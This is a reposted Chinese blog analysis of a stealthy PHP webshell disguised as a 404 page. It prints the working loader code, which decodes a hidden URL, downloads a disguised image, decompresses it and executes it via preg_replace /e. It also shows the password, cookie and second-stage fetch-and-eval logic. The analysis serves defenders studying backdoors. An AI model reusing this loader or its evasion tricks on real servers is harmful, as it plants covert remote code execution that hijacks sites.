日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

PHP后门新玩法:一款猥琐的PHP后门分析

發(fā)布時間:2024/4/17 php 61 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP后门新玩法:一款猥琐的PHP后门分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

近日,360網(wǎng)站衛(wèi)士安全團隊近期捕獲一個基于PHP實現(xiàn)的webshell樣本,其巧妙的代碼動態(tài)生成方式,猥瑣的自身頁面?zhèn)窝b手法,讓我們在分析這個樣本的過程中感受到相當(dāng)多的樂趣。接下來就讓我們一同共賞這個奇葩的Webshell吧。

Webshell代碼如下:

<?php
error_reporting(0);
session_start();
header(“Content-type:text/html;charset=utf-8″);if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>

關(guān)鍵看下面這句代碼,

sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這里執(zhí)行之后其實是一張圖片,解密出來的圖片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后調(diào)用file_get_contents函數(shù)讀取圖片為字符串,然后substr取3649字節(jié)之后的內(nèi)容,再調(diào)用gzuncompress解壓,得到真正的代碼。最后調(diào)用preg_replace的修飾符e來執(zhí)行惡意代碼的。這里執(zhí)行以下語句來還原出惡意樣本代碼。

?

<?php
echo gzuncompress(substr(file_get_contents(sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

如圖所示:

分析這段代碼,發(fā)現(xiàn)這是一個偽裝的404木馬(這里實在是太猥瑣了…把頁面標(biāo)題改成404 Not Found),其實整個webshell就一個class外加三個function,如下圖:

首先我先看一下它的前端html代碼,其中有這么一段js程序
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$(“l(fā)ogin”).style.display = “block”
}
}
這里它用document.onkeydown獲取用戶敲擊鍵盤事件,當(dāng)code等于80的時候顯示login這個div,這里查詢了一下keyCode的對照表,查到80對應(yīng)p和P鍵

所以觸發(fā)webshell登陸需要按p鍵(不按P鍵頁面就是一個空白頁,看不到登陸框),如圖所示:

再回到服務(wù)端php代碼中,可以看到程序用的是對稱加密,并且將登陸密碼作為加密key,代碼如圖所示:

再看init()的邏輯

如圖所示,先看這句代碼

$true =

@gzuncompress(gzuncompress(Crypt::decrypt(pack(‘H*’,???????? ’789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

根據(jù)這個解密邏輯我們可以推出,這里其實是將字符串true做了以下加密處理,

unpack(‘H*’,Crypt::encrypt(gzcompress(gzcompress(‘true’)), $_POST['key'] , true))

所以當(dāng)輸入正確密碼的時候@gzuncompress返回字符串true,然后程序調(diào)用setcookie給客戶端返回$_COOKIE[‘key’],然后值得提一下的是后面這個exit(‘{“status”:”on”}’),這里它與前端代碼聯(lián)系很緊密,我們看前端有個callback函數(shù),如下

function callback() {
var json = eval(“(” + this.responseText + “)”);
if (json.status==’on’){
window.location.reload();
return;
}
if (json.notice) {
$(“notice”).style.display = “block”;
$(“notice”).innerHTML = json.notice;
sideOut();
}
}

這里執(zhí)行exit(‘{“status”:”on”}’)會返回json串{“status”:”on”},此時前端js代碼classback()獲取到此響應(yīng)會執(zhí)行window.location.reload()刷新,再次請求正好帶上前面獲取的cookie,然后執(zhí)行判斷COOKIE的邏輯,如圖所示:

這里跟前面POST的邏輯一樣,下面當(dāng)判斷為’true’以后,這里又請求了一張圖片,pack出來地址為http://2012heike.googlecode.com/svn/trunk/code.jpg,然后調(diào)用_REQUEST獲取圖片內(nèi)容,解密解壓之后再eval,分析之后發(fā)現(xiàn)code.jpg中才是真正的webshell經(jīng)過加密壓縮之后的內(nèi)容。這里我跟蹤了一下代碼打印出了真正執(zhí)行的webshell的內(nèi)容:

登陸成功之后的webshell如下圖:

總結(jié):

這是一個高度隱蔽的webshell,它沒有在其代碼中用到一些危險函數(shù)和敏感字,而是將真正的shell內(nèi)容經(jīng)過層層加密處理之后保存到圖片當(dāng)中,丟到服務(wù)器上只留下一個url,并且url還是經(jīng)過加密處理的,所以對外看沒有任何特征可尋,過掉了大多數(shù)waf以及殺軟的查殺。。作者的利用思路新穎,并且前端后端結(jié)合緊密,代碼精簡,各種奇技淫巧,有別于常見的webshell后門,令人佩服!

轉(zhuǎn)載于:https://www.cnblogs.com/walter371/p/4103836.html

總結(jié)

以上是生活随笔為你收集整理的PHP后门新玩法:一款猥琐的PHP后门分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。